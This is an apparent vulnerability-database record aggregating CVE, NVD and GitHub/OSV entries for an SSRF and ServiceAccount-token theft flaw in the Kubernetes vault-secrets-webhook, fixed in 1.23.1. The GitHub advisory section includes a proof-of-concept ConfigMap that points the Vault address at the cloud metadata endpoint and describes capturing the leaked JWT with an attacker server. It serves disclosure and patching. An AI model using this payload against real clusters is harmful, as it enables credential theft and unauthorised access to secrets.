{"id":"GO-2026-6160","revision":null,"records":[{"revision":"6cc6f26757774f91986151734717ba37","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-54725","aliases":[],"title":"vault-addr annotation SSRF -- webhook makes outbound HTTP call to attacker URL during admission; vault-serviceaccount enables cluster-wide SA token theft via TokenRequest API","description":"vault-secrets-webhook is a Kubernetes mutating webhook that makes direct secret injection into Pods possible. Prior to 1.23.1, parseVaultConfig() in pkg/webhook/config.go accepts the vault.security.banzaicloud.io/vault-addr annotation, MutateConfigMap and MutateSecret call newVaultClient in pkg/webhook/webhook.go, and vault.security.banzaicloud.io/vault-serviceaccount can cause a ServiceAccount JWT to be sent to an attacker-controlled Vault address. This issue is fixed in version 1.23.1.","state":0,"publishedAt":"2026-07-31T17:45:09.548+00:00","modifiedAt":"2026-07-31T18:58:46.332+00:00","affected":[{"ecosystem":"Vendor product","name":"vault-secrets-webhook","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"bank-vaults\",\n                    \"product\": \"vault-secrets-webhook\",\n                    \"versions\": [\n                        {\n                            \"version\": \"< 1.23.1\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N","score":9.6,"severity":"CRITICAL"}],"references":["https://github.com/bank-vaults/vault-secrets-webhook/security/advisories/GHSA-r2v3-8gwf-7ghm","https://github.com/bank-vaults/vault-secrets-webhook/commit/76db45976fee0f54cafd94dffa425e6b542f65a0","https://github.com/bank-vaults/vault-secrets-webhook/releases/tag/v1.23.1"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-54725","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-54725","identifiers":["CVE-2026-54725"]},"retained":false,"historicalAffected":[]},{"revision":"1464e83816864c1082673ef56b4d34b6","observedAt":"2026-10-25T13:17:28.253+00:00","statement":{"source":"nvd","id":"CVE-2026-54725","aliases":[],"title":"vault-secrets-webhook is a Kubernetes mutating webhook that makes direct secret injection into Pods possible. Prior to 1.23.1, parseVaultConfig() in pkg/webhook/config.go accepts the vault.security.banzaicloud.io/vault-addr annotation, Muta…","description":"vault-secrets-webhook is a Kubernetes mutating webhook that makes direct secret injection into Pods possible. Prior to 1.23.1, parseVaultConfig() in pkg/webhook/config.go accepts the vault.security.banzaicloud.io/vault-addr annotation, MutateConfigMap and MutateSecret call newVaultClient in pkg/webhook/webhook.go, and vault.security.banzaicloud.io/vault-serviceaccount can cause a ServiceAccount JWT to be sent to an attacker-controlled Vault address. This issue is fixed in version 1.23.1.","state":0,"publishedAt":"2026-07-31T18:17:17.013+00:00","modifiedAt":"2026-10-23T23:10:00.157+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N","score":9.6,"severity":"CRITICAL"}],"references":["https://github.com/bank-vaults/vault-secrets-webhook/commit/76db45976fee0f54cafd94dffa425e6b542f65a0","https://github.com/bank-vaults/vault-secrets-webhook/releases/tag/v1.23.1","https://github.com/bank-vaults/vault-secrets-webhook/security/advisories/GHSA-r2v3-8gwf-7ghm"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-54725","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Deferred","weaknesses":["CWE-918"],"productCriteria":[],"sourceDates":{"published":"2026-07-31T18:17:17.013","lastModified":"2026-10-23T23:10:00.157"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-54725","identifiers":["CVE-2026-54725"]},"retained":false,"historicalAffected":[]},{"revision":"fff1580554a64ac78c9402c4075b2486","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GHSA-r2v3-8gwf-7ghm","aliases":["CVE-2026-54725","GO-2026-6160"],"title":"vault-addr annotation SSRF -- webhook makes outbound HTTP call to attacker URL during admission; vault-serviceaccount enables cluster-wide SA token theft via TokenRequest API","description":"## Summary\n\nThe vault-secrets-webhook reads the `vault.security.banzaicloud.io/vault-addr` annotation from any ConfigMap or Secret being admitted and uses it as the Vault server address without any validation or allowlist. When a ConfigMap or Secret contains a value prefixed with `vault:`, the webhook's admission handler synchronously calls the Vault API at the attacker-supplied address from inside the webhook process during the admission review. The webhook additionally grants `serviceaccounts/token:create` cluster-wide, and the `vault-serviceaccount` annotation controls which ServiceAccount's JWT is fetched and sent to that address. An attacker who can create ConfigMaps or Secrets in a watched namespace can cause the webhook process to make arbitrary outbound HTTP connections and exfiltrate ServiceAccount JWTs.\n\n## Details\n\n`parseVaultConfig()` at `pkg/webhook/config.go:102-107` reads `VaultAddrAnnotation` unconditionally into `vaultConfig.Addr`:\n\n```go\nif value, ok := annotations[common.VaultAddrAnnotation]; ok {\n    vaultConfig.Addr = value\n}\n```\n\nNo URL scheme validation, no hostname allowlist, no RFC-1918 or link-local filter.\n\n`MutateConfigMap` and `MutateSecret` at `pkg/webhook/configmap.go` and `pkg/webhook/secret.go` call `mw.newVaultClient(ctx, vaultConfig)` when the object contains at least one `vault:...` value. Inside `newVaultClient`, at `pkg/webhook/webhook.go:285`:\n\n```go\nclientConfig.Address = vaultConfig.Addr\n```\n\n`vault.NewClientFromConfigWithContext` then opens an HTTP connection to the attacker-controlled address from the webhook server process, synchronously during the admission review. This is not deferred to a separate pod.\n\nThe `vault-skip-verify` annotation (`pkg/webhook/config.go:197`) sets `InsecureSkipVerify: true` on the TLS config, eliminating the need for a valid certificate on the attacker's server.\n\nWhen `VaultServiceaccountAnnotation` is also set, at `pkg/webhook/webhook.go`:\n\n```go\nmw.k8sClient.CoreV1().ServiceAccounts(vaultConfig.ObjectNamespace).CreateToken(\n    ctx, saName, &tokenRequest, metav1.CreateOptions{})\n```\n\nThe webhook's ClusterRole (`deploy/charts/vault-secrets-webhook/templates/webhook-rbac.yaml`) grants `serviceaccounts/token:create` cluster-wide. The resulting JWT is then POSTed to `vaultConfig.Addr/v1/auth/<path>/login`. An attacker intercepts this JWT and replays it against the real Vault to access secrets bound to that ServiceAccount's Vault role.\n\n## Proof of Concept\n\nCreate a ConfigMap in any watched namespace:\n\n```yaml\napiVersion: v1\nkind: ConfigMap\nmetadata:\n  name: ssrf-poc\n  namespace: tenant-ns\n  annotations:\n    vault.security.banzaicloud.io/vault-addr: \"http://169.254.169.254/latest/meta-data/\"\n    vault.security.banzaicloud.io/vault-skip-verify: \"true\"\n    vault.security.banzaicloud.io/vault-serviceaccount: \"high-priv-sa\"\ndata:\n  secret-key: \"vault:secret/data/test#value\"\n```\n\nWhen this ConfigMap is created, the vault-secrets-webhook admission handler:\n1. Parses the annotations and reads `vault-addr: http://169.254.169.254/latest/meta-data/`\n2. Calls `CoreV1().ServiceAccounts(tenant-ns).CreateToken(ctx, \"high-priv-sa\", ...)` using cluster-wide `serviceaccounts/token:create`\n3. Calls `vault.NewClientFromConfigWithContext` which POSTs the JWT to `http://169.254.169.254/latest/meta-data/v1/auth/kubernetes/login`\n4. On AWS EKS with IMDSv1, the cloud metadata service receives the request from the webhook pod's IAM identity\n\nFor the SA token theft path: run an HTTP server at the attacker-controlled `vault-addr` to capture the `Authorization: Bearer <JWT>` header from the login POST.\n\n## Impact\n\nA user with `create` or `update` on ConfigMaps or Secrets in any namespace watched by the vault-secrets-webhook can:\n1. Cause the webhook process (a cluster-wide privileged component) to make arbitrary outbound HTTP connections to any address including cloud IMDS\n2. Exfiltrate ServiceAccount JWTs for any SA in their namespace, which can be replayed against the real Vault server to read secrets the SA's role is authorized to access\n\nThe attack happens at admission time in the webhook server process, not in a user pod, and requires no special privileges beyond ConfigMap or Secret create/update rights.","state":0,"publishedAt":"2026-07-31T17:45:02+00:00","modifiedAt":"2026-08-18T15:10:29.8389024+00:00","affected":[{"ecosystem":"Go","name":"github.com/bank-vaults/vault-secrets-webhook","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"1.23.1"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"CRITICAL"}],"references":["https://github.com/bank-vaults/vault-secrets-webhook/security/advisories/GHSA-r2v3-8gwf-7ghm","https://github.com/bank-vaults/vault-secrets-webhook/commit/76db45976fee0f54cafd94dffa425e6b542f65a0","https://github.com/bank-vaults/vault-secrets-webhook","https://github.com/bank-vaults/vault-secrets-webhook/releases/tag/v1.23.1"],"sourceUrl":"https://github.com/advisories/GHSA-r2v3-8gwf-7ghm","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-r2v3-8gwf-7ghm","identifiers":["GHSA-r2v3-8gwf-7ghm","CVE-2026-54725","GO-2026-6160"]},"retained":false,"historicalAffected":[]},{"revision":"11c2526f18634ed6bc4aafc45cb56881","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GO-2026-6160","aliases":["CVE-2026-54725","GHSA-r2v3-8gwf-7ghm"],"title":"vault-addr annotation SSRF -- webhook makes outbound HTTP call to attacker URL during admission; vault-serviceaccount enables cluster-wide SA token theft via TokenRequest API in github.com/bank-vaults/vault-secrets-webhook","description":"vault-addr annotation SSRF -- webhook makes outbound HTTP call to attacker URL during admission; vault-serviceaccount enables cluster-wide SA token theft via TokenRequest API in github.com/bank-vaults/vault-secrets-webhook","state":0,"publishedAt":"2026-08-18T14:32:29+00:00","modifiedAt":"2026-08-18T15:00:14.3932071+00:00","affected":[{"ecosystem":"Go","name":"github.com/bank-vaults/vault-secrets-webhook","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"1.23.1"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[],"references":["https://github.com/bank-vaults/vault-secrets-webhook/security/advisories/GHSA-r2v3-8gwf-7ghm","https://github.com/bank-vaults/vault-secrets-webhook/commit/76db45976fee0f54cafd94dffa425e6b542f65a0","https://github.com/bank-vaults/vault-secrets-webhook/releases/tag/v1.23.1"],"sourceUrl":"https://osv.dev/vulnerability/GO-2026-6160","license":"OSV · upstream source license applies","key":"osv:GO-2026-6160","identifiers":["GO-2026-6160","CVE-2026-54725","GHSA-r2v3-8gwf-7ghm"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-10-26T11:36:23.2920201+00:00","complete":true,"records":1756,"lastAttemptAt":"2026-10-26T11:36:23.2920201+00:00","lastSuccessAt":"2026-10-26T11:36:23.5142731+00:00","error":null,"lastVerifiedAt":"2026-10-26T11:36:23.5142748+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-5ba1945314e042c2ced14b33f3680fa71692812d925544312b218f5eb8a26e71-e7962156c388e029d9e5dbbcda79fbd40ade61bdd41d51546adb4696b3e29228","complete":true,"records":414161,"lastAttemptAt":"2026-10-26T11:36:10.3293998+00:00","lastSuccessAt":"2026-10-26T11:36:10.2537359+00:00","error":null,"lastVerifiedAt":"2026-10-26T11:36:10.3293998+00:00","snapshotPublishedAt":"2026-10-26T11:28:55+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-43321610382942b8ad8c85917eab1546","complete":false,"records":4735,"lastAttemptAt":"2026-10-26T11:36:27.570174+00:00","lastSuccessAt":"2026-10-24T23:18:49.862+00:00","error":"InvalidDataException","lastVerifiedAt":"2026-10-24T23:18:49.862+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":4764,"expectedIdentifiers":13477},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-10-26T11:36:23.2920201+00:00","complete":true,"records":1093,"lastAttemptAt":"2026-10-26T11:36:23.2920201+00:00","lastSuccessAt":"2026-10-26T11:36:23.6271598+00:00","error":null,"lastVerifiedAt":"2026-10-26T11:36:23.6271612+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-114096430e32489f93a3ae96f397b2db","complete":true,"records":13416,"lastAttemptAt":"2026-10-26T11:36:25.3338531+00:00","lastSuccessAt":"2026-10-26T11:36:25.326+00:00","error":null,"lastVerifiedAt":"2026-10-26T11:36:25.326+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13477,"expectedIdentifiers":13477},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-2375a4e597279abf92e8747e140fe8da9d421877cd49cae3ac69a2cb78469b2c","complete":true,"records":9779,"lastAttemptAt":"2026-10-26T11:36:10.7420905+00:00","lastSuccessAt":"2026-10-24T13:19:53.1346702+00:00","error":null,"lastVerifiedAt":"2026-10-26T11:36:10.7420905+00:00","snapshotPublishedAt":"2026-10-24T03:03:12+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-16ad89dfea13ab9e9b0108e63a759d63bd4559cc68b58491107d62ee35bbbaf2","complete":true,"records":1965,"lastAttemptAt":"2026-10-26T11:36:10.517478+00:00","lastSuccessAt":"2026-10-23T16:01:26.4487605+00:00","error":null,"lastVerifiedAt":"2026-10-26T11:36:10.517478+00:00","snapshotPublishedAt":"2026-10-21T12:18:07+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-7d18ad8657bc2f95d55948e9e16b3c82a8ac06830df5ec8d356048b8420b72c3","complete":true,"records":2972,"lastAttemptAt":"2026-10-26T11:36:23.2053293+00:00","lastSuccessAt":"2026-10-26T11:36:23.0131888+00:00","error":null,"lastVerifiedAt":"2026-10-26T11:36:23.2053293+00:00","snapshotPublishedAt":"2026-10-26T11:33:16+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-654e90fb44abcd729ddecf56d54c1b46ce87ca3181850e8bc65d5c8befceb659","complete":true,"records":230805,"lastAttemptAt":"2026-10-26T11:36:10.6367182+00:00","lastSuccessAt":"2026-10-26T08:22:30.1390577+00:00","error":null,"lastVerifiedAt":"2026-10-26T11:36:10.6367182+00:00","snapshotPublishedAt":"2026-10-26T07:48:28+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null}]}